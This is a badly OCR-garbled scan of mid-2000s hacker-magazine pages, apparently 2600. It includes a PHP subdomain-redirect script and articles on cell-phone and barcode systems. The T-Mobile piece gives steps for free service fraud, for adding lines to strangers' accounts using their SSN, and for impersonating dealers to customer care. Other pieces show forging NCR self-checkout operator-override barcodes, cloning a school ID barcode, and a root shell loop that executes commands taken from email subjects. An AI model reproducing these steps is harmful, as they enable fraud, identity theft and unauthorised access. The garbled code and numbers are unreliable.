DotTK Free Sub- Doma in Script 1 . 02 

By Trent Bradley 

If you do  port it, I wouLd rea lly app reciate it if 

you sent me a copy. 

2. Th e scri pt d oesn 't pick up the HTTP_REF­

ERER  thi n gy. If this is the case,  either  you have 

set up PH P i n co r rectLy or you r  host has  set it up  

i n cor rectLy o r  d isabLed it. ALso ,  some b rowsers 

(very few) don 't support this .  

( e )  2 005 Blue C o l l ar C ame l ( http : / /www . b lueco l l arcame l . ne t / ) 

Change log : 

1 . 02 :  Appends a " / "  to the final redirect URL for the picky brows e r s / s ervers . 

1 . 01 :  Fixed a bug that didn ' t  remove the extra " . "  f rom the entered URL . 

: Added the feature that ( tries ) to determine if it was a sub-doma in that was entered . 

1 .  00: I n i t i a l  writing . 

* / 

/******************************\ 
/* E D I T  THESE VARIABLES ONLY ! *\ 
/******************************\ 

I I  Your actual DotTK domain . Do not inc lude the " . tk " ,  '' http : / / '' ,  or " www . " 

/ / Examp l e : if your f u l l  URL was .. http : / /www . down loads ite . tk /  .. , you wou l d  put " downloadsite " .  

$ yourDomain = " yourdottkdoma in " ; 

I I The base URL for t h i s  script . 

I I Examp l e : if the f u l l  URL to the script was '' http : / /youraccount . freehos t . com/ t h i s s c r i p t . php " , 

I I  you ' d  put ' ' http : / / youraccount . f reeho s t . com/ '' . You MUST i n c l ude the l a s t  " I " !  

$bas eURL = ' ' http : / / youraccount . freehos t .  com/ " ; 

\******************************1 

\******************************1 

\******************************1 

I I  Get the entered doma in name ( by a v i s itor , you , etc . ) 

$ fu l l Doma in � $ HTTP_SERVER_VARS [ ' HTTP_REFERER ' ] ; 

I I  Replace the ' ' http : / / '' with a blank value in the entered domain-name 

$ redirectPath = s t r_replace ( '' http : / / '' , " " ,  $ f u I I Domain ) ;  

I I Replace the " www . " with a blank value in the entered doma in-name 

$ redirectPath = s t r_replace ( " www . " ,  " " ,  $ redirectPath } ;  

I I Replace your $yourDomai n  with a blank value in the entered doma in-name 

$ redirectPath = s t r_replace { " $ yourDoma in " , " " ,  $ redirectPath } ;  

I I  Replace the " . tk "  with a blank value in the entered doma i n - name 

$ redirectPath = s tr_replace ( "  . tk " , " " ,  $ redirectPath } ;  

I I Replace a l l  " . ' " s with a blank value in the entered doma i n - name 

$ redirectPath = s t r_rep lace ( " o " ,  " " ,  $redirectPath ) ;  

I I Replace the ( po s s i b l e ) end " I " with a blank value in the entered domain-name 

$redirectPath = str_rep l ac e ( " I " ,  " " ,  $ redirectPath ) ;  

/* 

Determine if the URL is a sub-doma i n . I f  the $ redirectPath variable is blank , it me ans that 

-this i s  NOT a sub-domain . 

Note : This can e a s i l y  be fooled by appending text to the end of the URL . 

Example : .. http : / /www . down loadsite . tk / foo .. 

That wou ld cause the script to try and redirect to ' ' http : / /youraccount . f reehos t . com/ foo '' 
*/ 
if ( s trlen ( $redirectPath ) > 0 )  

} 

I I Append the final redirection path to the base URL 

$ redirectPath = $bas eURL . $ redirectPath . " / u ;  

I I  Redirect the ( yours , v i s itor ' s ,  etc ) browser to the actual location . 
header ( " Location : $redirectPath " ) ;  

e l s e  { 
I I I f  the URL i s n ' t  a sub-domain , the s c r ipt s imp ly d i s p lays your original index page . 

} 
? >  
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Get t ing More from 

by Psycho 
I am a former employee of a T-Mobi le retai l  

store where I was p rima ri ly responsi b le fo r acti­
vati ng  new accounts for customers. The main sys­
tem we used was ca lled Watson .  Watson is a 
web-based portal that a llowed the user to run a 
credit check for a customer, activate p repaid 
phones ,  access customers' accou nts , access the 
POS, run store reports and  the li ke. Reta i l  employ­
ees of T-Mobi le use this system for every tra nsac­
tion  that is done  throughout the day. The tasty 
pearl of a ll of this is that the Watson porta l is ac­
cessi b le from an  outside IP  address. That means 
that you can do most of these functions  from any­
where outside of a retai l  sto re. Now before I get 
i nto specifi cs, the standard disclai mer  app lies :  
This is fo r educationa l  pu rposes o n ly. Any actions  
that  you take  withi n  th i s  system a re p robab ly 
tracked. I a m  not responsi b le fo r a nythi ng  you do 
with this i nformati on .  And whi le the fo llowi ng  ex­
p lai ns  possi b le ways to activate service th rough  T­
Mobi le,  doi ng  so in this system from outside of a 
retai l  store is probably i llegal .  And as such , I have 
not actual ly completed an activation  from outside 
of a retai l store.  So I have n ot verified if these 
p rocesses a re even fu lly possi b le .  If you get 
stopped by Watson ,  too bad. 

Now, li ke I said ,  Watson is accessi b le from out­
side the T-Mobi le i ntranet. You can get to it by go­
i ng  to http ://watson3 .voicestream . com . Click 
logi n to get to the logi n page. Here it asks you fo r 
a username  and  password . These a re the user­
names a nd  passwo rds of each reta i l  emp loyee that 
needs to get i n .  At the reta i l  store, the username 
and  password have to  be entered before every 
tra nsacti on ,  so most employees make this some­
th ing very si mp le that ca n be typed i n  quickly. At 
the store where I worked , most of the people 
there used thei r  username as the passwo rd . So, if  
you r  name was John Thomas,  you r  username 
might be jthomas and  you might set  your pass­
word to jthomas .  The password cou ld be set to 
a nythi ng ,  but most people j ust use the username .  
The best way to  get some usernames i s  to  do some 
socia l  eng ineeri n g  at you r  loca l sto re . Si nce the 
username  is  usua lly the first letter of the first 
name and  the first six letters of the last name,  
you can get someone's busi ness card a nd  si mp ly 
take the name  off of that. Keep i n  mi nd  that if the 
person ' s  last name is shorter than s ix letters, 

r I " - M o b i l e  
there is usua lly a n umber at the end .  For exa mp le, 
J o h n  Smith might be jsmith 2 .  So these might be 
ha rder to get. 

Once logged in you a re p resented with the 
same screen that the employees get i n  the store. 
You have the fo llowi ng  options :  

New Personal A ccount - Where you wou ld run  
credit and  activate a n ew persona l  account. 

New Business Account - Where you would acti ­
vate a new busi ness accou nt. 

Add to Existing Account - Used to add a li ne  
onto an  existi ng  accou nt. 

Work in Progress - Used to resume  an  activa­
tion  that was i nterrupted . Asks for the SSN to 
conti n ue .  

View an Existing Service Agreement - Where 
you can access a service agreement (asks for 
SSN ) .  

Number Eligibility Query - Used t o  see if a n ­
other p rovider's n umber ca n be ported t o  T-Mo­
bi le .  

Prepaid Menu - Where you can activate prepaid 
p hones .  

POS Menu - Access the POS  (does n ot seem to 
be accessib le from outside the i ntra n et) . 

Customer Account Management (or CAM) -
Used to access the i nformation  on existi n g  ac­
counts (does not seem to be accessib le from out­
side the i ntra net) . 

SA P Retail Store - I am not su re what this is 
for .  We n ever used it i n  the retai l store. Does n ot 
seem to be accessi b le from outside the i ntra net. 

Change Password - d u h .  
Log Off - du h .  
O f  a ll o f  these, o n ly t h e  POS, CAM , and  SAP Re­

tai l Store seem to be b locked from outside IPs .  
O n ly CAM wou ld be usefu l fo r our pu rposes, b ut 
we can live without it. Now, the fun comes when 
you rea lize j ust what you can do from here .  Have 
you ever wa nted to activate a new account fo r 
someone? Have you ever wanted to activate a pre­
paid phone  fo r free? H ave you ever n eeded to add 
a li n e  onto some unsuspecti ng  person ' s  account? 
Well, he re is how some of that ca n be done .  

Activati ng Prepaid (the easy way to  go) 
Do you have an o ld T-mobi le phone  that you 

want on p repaid without payi n g  fo r the activa­
tion?  Then head to the Prepaid menu  in Watson .  
All you need i s  the SIM ca rd num ber, the IMEI 
n umber  of the phone ,  a nd  a p repaid ai rtime  ca rd . 
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You ca n put i n  a bogus name  and  bi rthday (which 
is a LL that is requi red ) and i n put the rest. You have 
to use a vi rgi n SIM so just do some socia L  engi­
neeri ng  at a reta i l  sto re to score one. And you ca n 
pu rchase a $ 10 prepaid ai rtime  card from the 
store to use fo r the activati o n .  You see ,  when you 
activate a prepaid phone i n  the store, the activa­
tion  i s  done  sepa rateLy from ri ng ing up the sa Le .  
So you can activate it you rseLf i n  Watson ,  then 
just not pay anythi ng .  

Activati ng Postpaid (the harder way t o  go) 
If you head to New Persona L  Accou nt, you a re 

asked for a bunch  of persona L  i nfo .  This is i nfo r­
mation  that is taken from a d river's License i n  o r­
der to run a credit check .  After putti n g  a LL this i n ,  
t h e  credit resu Lt wi ll give you a choice o f  rate 
p La n s  that you a re eLig ib Le for. After picki ng  that, 
the system asks fo r the SIM ca rd n umber, the IMEI 
n u m ber from the phone ,  which city you want you r  
phone  n umber  i n ,  a nd  so o n .  You have to  u se  a 
vi rgi n SIM so j ust score o n e  from a retai l sto re 
with some socia L  eng ineeri n g .  If it a LL worked 
correctLy, the contract wi LL pop up  and you wi LL be 
activated .  

Add t o  Existi ng Account 
Usi ng  this a rea, it is possi b Le to add a Li ne  

onto someone's account usi ng  on Ly the i r  SSN . Af­
ter you put i n  a customer's  SSN,  you can add on a 
Li n e  sim i la r  i n  process to creati ng  a n ew accou nt. 
What you can add depends on  that person 's  
credit. I do not recommend  actua LLy doi n g  this be­
cause that person wi LL definiteLy fi nd  out about it 
when they get their  next bi ll. So this is o n Ly good 
for sho rt term phone usage. 

Another g reat flaw i n  T-Mobi Le's system is  
their Customer  Ca re department. These g uys no r­
ma LLy hand Le most customer  issues over the 
phone, but because of the i neffi ciencies i n  the 
Retai l system ,  it i s  often n ecessary for empLoyees 
to caLL Customer  Care. An empLoyee wou Ld have to 
ca LL in to do credit checks or to activate phones if 
Watson won't Let them . They a Lso caLL i n  to change 
rate p Lans  and  to  extend  someone ' s  contract. 

G etti ng  Customer  Care to thi n k  you a re a n  em­
p Loyee i s  pai nful ly simp Le .  Every ti me an  empLoyee 
ca Lls Customer Care, they ask fo r that empLoyee's 
first name ,  first Letter of the Last name ,  a nd  a 
deaLer  code. ALL you have to do to get a set of 
these is to hang  a round  i n  a reta i l  store Long  
enough  for one  o f  the emp Loyees to  caLL Customer  

Ca re fo r someone .  When they a re o n  the phone ,  
you wi LL hear  them give the name and  deaLer code 
to the representative. Another way is to get a re­
cei pt that the pa rticu La r  empLoyee ra ng  up .  On 
each recei pt is an a rea ca LLed EmpLoyee ID ,  or the 
Li ke, which has the deaLer code Listed there. Each 
empLoyee has a un ique deaLer code that i s  Looked 
up  to make su re it matches the name  given .  So a 
typica L conversation  wou Ld go Li ke this :  

Customer Care: Tha n k  you for caLLi n g  T-Mobi Le .  
To better assist you, may I have your ce L L  phone  
n umber starti n g  with the a rea code? 

EmpLoyee: Hi, my name is  J o h n  and I am  a 
di rect deaLer fo r T-Mobi Le .  

Customer Care: OK .  May I have the  fi rst Letter 
of you r  Last name and  your deaLer code? 

EmpLoyee: Fi rst Letter is T as i n  Tom and my 
deaLer code is 0045678 .  

The dea Ler codes a re usua LLy a Lways seven d ig­
its Long ,  but it doesn 't a Lways sta rt with 00 .  An­
other th ing is to specify that you a re a di rect 
deaLer when you identify you rseLf. These a re peo­
p Le who work fo r di rect T-Mobi Le stores as op­
posed to authorized agents of T-Mobi le .  After you 
give them the i nfo , the rep asks fo r the cus­
tomer's phone  n umber  and name to verify the ac­
count. Sometimes they a Lso ask fo r the Last fou r  
di gits o f  t h e  customer's  S SN ,  b u t  most o f  t h e  ti me  
they trust you  as a deaLer and  do what  you  wa nt 
to the accou nt. Nine times out of ten , they do 
what you want without ever wanti n g  to actua LLy 
speak to the customer. With this tota L access to 
the accou nt, you ca n change a Lmost anythi ng .  As 
Long  as the name  and  deaLer code match in the 
system ,  they a re you rs to com mand .  And it does­
n 't matter which department you speak to. They 
aL L  ask  for the same i nfo . So you cou Ld ta Lk to Cus­
tomer Care, Consumer Credit, o r  Activations  and  
as Long  as the name  and  deaLer code  match ,  you 
a re goLden .  

When you  caLL Activations ,  you  couLd activate 
phones manua LLy through them without enteri n g  
the store. First you  wou Ld taLk t o  Consumer  Credit 
to do a credit check,  then you wou Ld go to Activa­
tions .  At Activations ,  they ask you for the SSN of 
the customer  o r  Onyx reference n um ber  (which 
you get after the credit check) . From there, they 
verify the name  and  address info that you ra n the 
credit with .  After that, they ask  which city you 
want you r  phone n u m ber i n  and  which rate p la n  

T h e  VC D s  f r o m  -r h  c:= F i  -Ft h J---t CJ F'> E 
a re n o'W a vo i 1 0  b l e  

They consist of aU of the talks which took place i n  the two main tracks of the conference, which occurred in J u ly 2004. There are 

78 discs in total! We can't possibly fit aU of the titles here but we can teU you that you can get them for $5 each or $ 200 for the 

lot. Much more info can be found on our website (www.2600.com) where you can also d ownload aU of the audio from the con­

ference. If you want to buy any of the VeDs, you can send a check or money order to 2 600, PO Box 752,  Middle Island, NY 11953 

USA or buy them online using you r  credit card at store.2 600.com. 
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you want. Then they ask for the  SIM card n umber  
and  the IMEI n u m ber from the phone .  Remember 
that it has to be a vi rgi n SIM so score one  from a 
retai l store. Now, activati ng  a phone  with a rep is 
n ot goi n g  to do you much good un less you do 
it under  someone else's name .  If  you did it 
under  you r  name,  you would sti ll be subject to the 
activatio n  fee and  to the a n n ua l  contract. 

Many of these h uge security flaws cou ld be 
easi ly corrected by blocki n g  access to Watson 
from outside IP  addresses. Changes a lso need to 
be made to the verification  p rocess that Customer  

by Muskrat 
Last n ight  I was sendi ng  myself picture mes­

sages from my cell phone .  I n ever cease to be im ­
p ressed by  the  speed at wh i c h  i n formation  
travels, even when sent  from a ti ny cellu la r 
phone .  I was a lso home  o n  Spri n g  B rea k a nd  I 
left my computer at my dorm,  confident that re­
mote access would be suffi cient.  So I've been 
p layi ng  with the  n otion  of remotely r unn i ng  com­
mands in a n  u n co nventi ona l  way. 

Natura lly I wondered if  it would be possi b le to 
run com mands  on my Li n ux box via my cell p hone  
(from 100  mi les away) . I fum b led th i s  i dea 
a round  i n  my head and  decided that the  o n ly way 
to do it wou ld be usi ng  text messagi n g .  

Up  u nti l th is  point I had  been sendi ng  photo 
messages to my g mai l .com account  where I cou ld 
retrieve them and  save them manua lly. I needed 
a way to either  A) retrieve messages from 
gmai l. com a utomatica lly o r  B) send messages 
"di rectly" to my machi ne .  Si n ce gma i l  requi res 
authenti cati o n ,  I decided to go with B ( because 
setting  u p  a n  a utomated authenticati o n  p roce­
du re would be much  more comp li cated than  the 
a lternative ) .  I did n 't have my system set up  as a 
mai l  server, so natu ra lly I n eeded to do that first. 
I i n sta lled the packages fo r sendmai l, procmai l, 
pi ne ,  etc. to ma ke su re I had everythi ng  I 
n eeded. I a lso  read a little bit about the  mai l  de­
livery p rocess to understand  the  basics of what 
was happen i n g .  After everythi n g  was i n sta lled 
(which was trivi a l) a nd  activated (i . e . ,  editi n g  i n ­
etd . conf, sta rti n g  up  sendmai l ) ,  I tested t o  s e e  i f  
my  system cou ld actua lly send/receive mai l. I 
sent a m essage from gma i l  to my domain  and  
then checked pi ne .  Su re enoug h ,  the  message 
had a rrived .  

Ca re goes  through to  ensure that  they a re actua lly 

spea ki n g  to a dea ler. Emp loyee ID n u m bers shou ld 

not be printed o n  a nythi ng  that is given to the 

customer. With these simp le changes, T-Mobi le 

cou ld ta ke active steps i n  seali n g  these gapi n g  

ho les .  

So there you go ,  kids .  Have fun ,  but don 't do 

a nythi ng  stupid .  Now you can truly Get More from 

T-Mobi le .  

Shout outs to Amanda, Req, and the rest of 
the crew at  the TPG. 

i ::::><: e x e cut i o n  

.:.. L:e 1 1  
At that point I n eeded a way to test fo r a cer­

tai n stri n g  in the n ew m essage a nd  perform an  
acti o n  based on  that stri n g .  Ma i l  ( a t  least for me )  
was  stored i n  the  fi le /va r/spooljmailjmuskrat. 
The fi le contai n s  the message headers (which 
contai n s  i n formatio n  such as  date,  sender, sub­
ject, status ,  a nd  so on) and then obvious ly the  
bodies of the  messages. So I knew where the  in ­
fo rmati on  was stored; I j ust n eeded a way to pu ll 
the  desired i n formatio n  from it. 

This i s  where th ree standa rd U NIX too ls come  
i nto p lay: cat, g rep,  a nd  awk .  Hopefu lly everyone  
i s  fam i li a r  with these tools .  After a little bit o f  
p layi n g  a round  with va rious  possi bi liti es ,  I 
decided the  best way to execute wou ld be the 
fo llowi n g  stri n g :  

pol ari s : -$ ' ca t  /var/spool /mai l /muskra t 
... / grep command / awk ' {pri n t  $3 } " 

The b rea kdown of the  command  is this :  cat 
wi ll read the mai l fi le a n d  pipe it to g rep .  G rep 
searches fo r the  stri n g  " command "  and pipes the  
li n e  contai n i ng  it to "awk" . Awk ta kes the  stri n g  
a nd  p ri nts o n ly the  th i rd ( $3 )  field i n  the  li ne .  S o  
if  the  li n e  w a s  " command  test w h o " ,  a w k  wou ld 
o n ly retu rn "who " .  Fi n a lly, the ' a nd ' a round  the  
com mand  i n di cate to the  shell to execute the  
command  resu lti n g  from whatever i s  with in  " .  
So i n  this case the s he ll wou ld execute "who" .  

The most efficient way to avoid screwups I 
found  was to use the  Subject: part of the  header 
to specify the com mand .  When usi n g  the body of 
the  message, I ra n i nto problems because the 
phone  a utomati ca lly uses HTM L messages. 

Now that we can send a command  to our ma­
chi ne ,  we have to be waiti n g  for it. The best way 
to do  this would be a she ll scri pt which executes 
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that command  we ca me  up with i n  a loop .  

- - - - - -checkmai l . sh - - - - - ­

# ! /bin /sh 
un t i l  [ 1 -eq 2 ] ;  do 
' ca t  /var/spool /mai l /muskra t / grep 

"command / awk ' {pri n t  $3} " 
sl eep 2 
done 

So, u nti l 1 eq 2, execute the command ,  s leep 
for two seconds ,  and then execute agai n .  This i s  
a n  i nfi nite loop  because 1 n ever equa ls 2 .  So fi re 
up this s hell command  usi n g  'sh checkmai l . s h '  as 
root (so you can execute commands  li ke reboot) , 
a n d  then go to you r  cell phone .  

Send a picture message ( o r  a text message if 
you a re ab le to) , and specify the Subject as "com­
mand  reboot" . Send  the message. I f  you  set up  

NCR : B ar c o d e s  t o  P a s s  
by Bob Krin kLe 

This a rti cle is an additi on  to one  featu red i n  
2 1 : 4  titled "Selfch eckout o r  ATM? "  which i ntro­
d uced some of the  featu res a n d  fun cti ona lity of 
the NCR  E-Seri es Selfcheckout software. The 
scope of this a rticle wi ll cover the method of cre­
ati n g  operati n g  overri de  ba rcodes knowi n g  oper­
ato r n u mbers a nd  passwords a nd  reversi ng  a n  
existi ng  ba rcode to  operato r override  n u m ber  
a n d  password . 

For this examp le we wi ll use the  operato r 
n u m ber 1234 ,  the passwo rd 5678 ,  a nd  the ba r­
code wi ll be 4121234802430. It wi ll be easie r  to 
discuss this ba rcode i n  pa rts . [412 ]  si gnifies to 
the  system that the  ba rcode is an operato r over­
ride  ba rcode.  The next set [ 1 234] is the  operato r 
override/logon n u mber  (those of you fa mi li a r  
with p a s  know o n ly n u mbers a re typica lly used 
and have a li mited length ) .  The fo llowi ng  fou r  
[8024] is  t h e  operator's encrypted passwo rd ,  
wh i c h  we  wi ll cover mo re i n  depth later. And  t he  
last two pa rts consist of a non standa rd checksum 
[3 ]  and a n  EAN checksum [0] . 

Though  the  EAN checksum can be a utomati­
ca lly generated usi n g  a n u m ber  of ba rcode gener­
ato rs, the nonsta nda rd checksum wi ll have to be 
fi g u red out by hand.  To do this we wi ll fi rst add 
a ll of the odd p laces of the  barcode n u m ber  ( ex­
cludi ng  the EAN checksum a nd  the non sta nda rd 
checksu m)  a nd  m u lti p ly that n u mber  by 3 
(4+2+2+4+0+4 = 16 * 3  = 48) .  You must then add 
i n  the ski pped n u m bers (48+1+1+3+8+2 = 63 )  
a nd  the a n swer is  6 3 .  The digit i n  the  ones p lace 

everythi n g  p roper ly, you r  system wi ll b roadcast a 

message and  reboot. 

pol ari s : -# sh checkma i l . sh <- - sys t em 

- wai t s  un t i l  the message arri ves 

B roadcast message from root ( pts/O) 
(Th u Mar 17 17:48 :03 2005) : 

Th e sys t em is goi n g  down for reboot NOW! 

I recommend  bei n g  ca refu l with this fo r obvi ­

ous  reason s !  H opefu lly you lea rned somethi n g  

new li ke me .  

Thanks to people i n  ##Linux a n d  ##5Iack­
ware for some suggestions. Shoutouts to my 
boys. 

wi ll be ou r  checks um .  
T h e  password for t h e  operato r has  been e n ­

crypted (ba rely) t o  be 8024. S ome  quick notes 
about passwords on these systems :  passwo rds 
can contai n o n ly n u m bers a nd  can be  no more 
than fou r  di gits i n  length . Any passwords less 
than  fou r  digits a utomatical ly have O's i nserted 
in the begi n ni n g ,  which is  a lso en crypted .  Due to 
the li mitations  of the  ba rcode system it wou ld be 
my guess that a ny passwo rd with mo re than  fou r  
digits (if a llowed )  wou ld o n ly use t h e  fi rst o r  last 
fou r  di gits . We conti n ue .  In order to en crypt ou r  
password the  softwa re has added 3 to  the  fi rst 
digit, 4 to the second ,  5 to the th i rd ,  a nd  6 to the 
fou rth and has  n ot ca rried any p lacement.  So to 
decrypt our password we shou ld remove 3 from 
the 8 [ 5 ] . 4 from 0 ( o r  10) [6] . 5 from the 2 (o r  
12 )  [7 ] . a nd  6 from the 4 (o r  14 )  [8] . Thus ou r  
barcode reveals that u se r  operator is  1234  a nd  
t h e  password is  5 6 78 .  T h e  reverse p rocess a nd  
addi ng  the checksums ca n be used to  create a 
barcode from o n ly a logon  n u m ber a n d  password . 

Ca refu l usi n g  this softwa re outsi de the U .S .  as 
these ba rcodes may be i n  conflict with some Ger­
many product ba rcodes as they have the  rig hts to 
EAN 400-440. Also ,  si n ce the database of users 
a lready exists would n 't it be possi b le to add a 
fie ld fo r ba rcodes so passwo rds wou ldn 't be pa rt 
of the barcode at a ll? This would a lso make it pos­
si b le fo r someone to change the barcode and n ot 
the password a nd  to p rovide li mited access to 
ba rcode users .  
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by dkOO 
Okay fo lks ,  I 'm sure many of you a re aware of 

the p rob lem with BitPi m when it comes to down­
loadi n g  mo re than  20 pi ctu res from you r  handset. 
I 'm  su re many of you had to delete some pictu res 
in order to get BitPi m to n ot cause an exception  
a nd  cra s h .  I've found  a workaround  to  get a ll t he  
images out of the handset. 
Tools required: 
Data CabLe 
USB -> SeriaL Drivers 
BitPim (Latest version . 30) 
QPST 2. 7  
UniCDMA 1 . 095 

Now you wonder  why you n eed a ll these app li ­
cations?  Well, usi n g  QPST you can explo re the en­
ti re fi le system on  the phone .  H owever, you need 
an SPC code to access this i nterface.  A servi ce 
progra m mi n g  code is em bedded in the phone  
by  you r  p rovider  and  i s  requi red to  do a ny rea l 
progra m mi ng  to the  handset. 

Un iCDMA can be used to retri eve this code fo r 
some handsets/providers .  H owever for me it did 
not work (I 'm with Telus) . 

If Un iCDMA doesn 't work for you either, you 
can use BitPi m to access fi les i n  the /n mv/nmv/ 
di rectory on you r  handset. Inside  this di recto ry 
a re fi les named nvm_OOOO, nvm_0001,  and  so 
o n .  Rig ht c li ck  on nvm_OOOO a nd  do a H ex Dump  

b y  g LoBuS 
I h app i ly opened up  my copy of 21 :3 a little 

wh i le ago  and  read  the fasci nati n g  a rtic le on de­
codi ng  B lockbuster. Whi le I haven 't tried the  
trick ,  it got  me  thi n ki n g  about barcodes i n  gen­
era l. I attend  a medi um  sized h igh  school  with 
about one thousand students and a few h u nd red 
facu lty mem bers .  Our di stri ct has several  e lemen­
ta ry, j u nio r, a nd  senior  h igh  schoo ls .  Every stu­
dent a n d  facu lty member  has a un ique  ID n u m ber 
fo r many uses that I wi ll get i nto later. Although  
I may s how you  ways to  ci rcumvent a certa in  
school' s  secu rity, p lease i nsert the sta ndard 

to see the  contents of the  fi le right  i n  BitPi m ' s  i n ­
terface .  You s hou ld s e e  both H ex a nd  Ascii data. 
At locati on  00000010 you s hou ld see two sets of 
digits, both six in length . The fi rst one s hou ld be 
you r  S PC code that you need to gai n access to the  
QPST i nterface. There a re some rumors that  the  
SPC code might  be conta ined i n  nvm_0002 in  
some situations ,  so j ust keep on  tryi n g  to fi n d  
combinati on s  o f  six di gits t o  use as you r  S PC 
code.  In my situation  my " phone  lock" password 
was contai n ed i n  the nvm_0002 fi le . 

Once you 've acqui red the  SPC code a nd  suc­
cessfu lly entered it i nto QPST you have full access 
( n o  crashes with 57 p hotos) to the fi le system of 
you r  h andset. B rowse to the /cam/ di rectory a nd  
you ' ll s ee  di rectori es of you r  pictu res (i . e . ,  
/ca m/pic01 .j pg/) . Ins ide these di rectori es a re 
two fi les : " . desc" a nd  "body" .  The fi le "body" i s  
actua lly the image .  Right  c lick  a n d  Save to D isk ,  
rename  it to pic01 .jpg  (with the  extensi o n ) ,  and 
you ' re set. You can manua lly save a ll the fi les un­
ti l you 've got less than 20 a n d  you ca n do it via 
BitPi m .  I don 't suggest de leti ng  the picture di rec­
tories from with in  QPST but via the phone  di­
rectly. 

Be ca refu l and  have fun !  Always remember  to 
backup you r  phone  data befo re doi n g  someth i ng  
dangerous .  And of  course, I 'm  n ot to  be he ld 
responsi b le if screw u you r  handset. 

disclaimer  here a nd  don 't do a nyth ing  stupi d .  
The Discovery 

An a rt student at my sch oo l  was worki n g  on a 
p roject one  afternoon when I ca me  i nto the a rt 
room .  This student had used the  ba rcode genera­
tor from ba rcodesi n c.com to generate a ra ndom 
code  for a rtisti c expressi on  i n  he r  p roj ect. Any­
ways, I was passi n g  through on  my way to lu nch  
when I n oti ced this .  With wa llet i n  hand  a nd  eyes 
on my student ID ca rd , the li ght  b u lb flashed .  I 
s hou ld see if I ca n recreate my own barcode on ­
li ne .  So fo r the fun of it I tried .  U si n g  the p roper  
symbo ls (which I guessed ) ,  I was a b le to ma ke a 
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fi le of my ID ca rd 's ba rcode .  Well this is a ll 
good ,  but what use is this to me if it's my own 
n u m ber? So I found  a friend  who wi lli n g ly gave 
me  his  n u m ber  and I got to work. 

The Application 
Usi n g  p la in  o ld Ms-Word , I was a b le to p ri n t  

up  the proper sized ba rcode to  fit on  the  back of  
my card . Usi n g  my friend ' s  ID  n u m ber on  my ca rd , 
we went up to the  lu nch li ne .  Lunch  was a lmost 
over so it was fai rly qu iet. I had  the  lu nch  lady 
check the ba la n ce on  the account a nd ,  su re 
enough ,  my friend ' s  n ame  showed up o n  the  
scree n .  She  remi nded me  that  I o n ly had  $ 5  left 
in my account a n d  we happ i ly retu rned back to 
the  a rt roo m .  Once we got there I got to thi n ki n g .  

The Possi bi lities 
This ID is used for n ot o n ly lu nch  accounts, 

b ut a lso computer logi ns ,  book checkouts, a n d  
teachers have many  other  uses fo r them . I 
brought my fi nd ings  to my computer class 
teacher. He was shocked and a mazed that the ac-

m ote 
by Tlte Anti Luddite 

I sOmehow reached my mid 30s without buy­
i n g  a n ew ca r a nd  I had no desi re to buy one  
when  I accompa nied my gir lfri end  to  a n ea rby 
Toyota dealersh ip .  I mere ly wanted to he lp her  
fi n d  a rep lacement fo r her  1991  Ca m ry. After test 
d rivi n g  a n u m ber of cars, hagg li n g  with the sa les­
man ,  a tea rfu l scene as the o ld ca r was d riven 
away, and a coup le of hou rs in the tentac led em­
brace of the fi n a n ce depa rtment, we fe ll back out 
of the rabbit h o le and discovered that I was the 
lega l  owner of a 2005 RAV4 . 

And this is where my story begi ns .  
About two weeks after the pu rchase, my gi rl­

fri end  th rew her  secu rity remote agai nst the 
garage door. I ' l l  omit the  detai ls of her  feud with 
the ca r a n d  get to the point:  her remote n o  
longer  a rmed o r  disarmed t h e  security system .  

A n  LED sti ll fla shed a t  t h e  ti p o f  t h e  banana­
shaped remote when I pushed the  red button  o r  
either  of the sma ller b lack a n d  g reen buttons ,  so 
I knew some life yet remai ned .  I suspected the 
b low caused it to lose syn ch ronizati o n  with the 
vehicle. A ye llow sti cker on the back read :  

"If you press the red button o n  your transmit­
ter and the red light turns on but your vehicle 
does not respond, press and release the red but­
ton two times within one second. " 

count n u mbers a re as accessi b le a nd  rep rodudb le 
as they a re .  H e  had  me  copy his  ID fo r h im  and  it 
was a ca rbon copy of h is .  Bei n g  that h e  i s  on  staff 
and  that he was o n ce a computer repai rman  fo r 
the district he remi nded me of the access that h is  
ca rd g ranted h im.  H i s  barcode, a lo ng  with other  
teachers, cou ld be  read and  used to gai n access 
to the schoo l. If activated h is  ca rd wou ld give 
him the right  to go  to the mai n  di stri ct server 
room .  Goi n g  to my n ext class ,  I remembered that 
I was ab le to access my g rade 's  mass listi n g  of 
student ID  n u m bers. By goi n g  up  a few levels 
from my user account  on ou r  network, I was ab le 
to see a ll the  ID n u m bers fo r every student i n  a l­
phabetica l o rder. 

Conclusion 
I asked my computer class teacher  to b ri n g  

this t o  the  attenti on  o f  the  right  peop le a nd  not 
imp li cate me  o n  the  way. He  did and we're wait­
i n g  fo r the  change  to ta ke place. U nti l then ,  I 
p la n  on payi n g  fo r my lu nch  with cash .  

p ressed and  re leased, 
and released the button with in  one sec­

ond .  The remote sti ll did n 't work. There was a 
suggesti on  that ti m ing  was impo rtant. Fo r five 
m in utes I cli cked , s lowly, then s lower, then g rad­
ua lly i n creasi ng  the  frequency of my c licks  as I 
tried to hit j ust the  right  i nterva l. I fi n a lly de­
cided to consu lt the owner's manua l  li ke a good 
little consumer. 

The book let said nothi ng  about this pa rti cu la r  
device; the fig u res weren 't correct a nd  the  text 
descri bed an enti re ly different remote. I did man­
age to  fi nd  a sma ll p lasti c packet with a yellow 
card thoug h .  It read li ke a trade s how b lu rb :  

"Each time you press a button on the trans­
mitter, a new code number is sent to the vehicle 
and the vehicle will no longer respond to an older 
code number. This eliminates the possibility of a 
thief reading your code as you disarm your sys­
tem, then re-sending that code later to ga in ac­
cess to your vehicle. Some high tech thieves use 
an electronic device known as a 'code grabber' to 
do just that! " 

The remai nder  of the card was an e labo rati o n  
o f  the i n structi on s  on  the bac k  o f  the remote it­
self. The b u lk of the text had an a n noyi ng  n um­
be r  o f  excla mati on  points, as if i t  had been 
written to be read to ch i ld ren du ri n g  story ti me  
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at the  loca l pub li c  li b ra ry. 
I know some devices get won ky when their  

power supp li es run  low so I dedded to rep lace 
the batteri es. The case o n ly had a si n g le screw. 
The i nteri o r  was sparse; the most i nteresti n g  fea­
ture was a lone  ch ip  ma rked NTK03T. The battery 
was a generi c  12V M N 21/23 that I rep laced with a 
Du racell . This is a battery that had aspi rati on s  to 
become  a AAA but fai led ha lfway; it's a sma ll, u n ­
usua l battery most com mon ly u sed  i n  ga rage 
door  openers a nd  security remotes . 

I went back outside to the  ca r. The LED wi n ked 
as b ri g htly as  before, but the ca r refused to ac­
knowledge my thumb ing .  I was desperate, so I 
tempted madness by doub le cli cki ng  the  red but­
ton agai n expecti n g  a different resu lt. I put the 
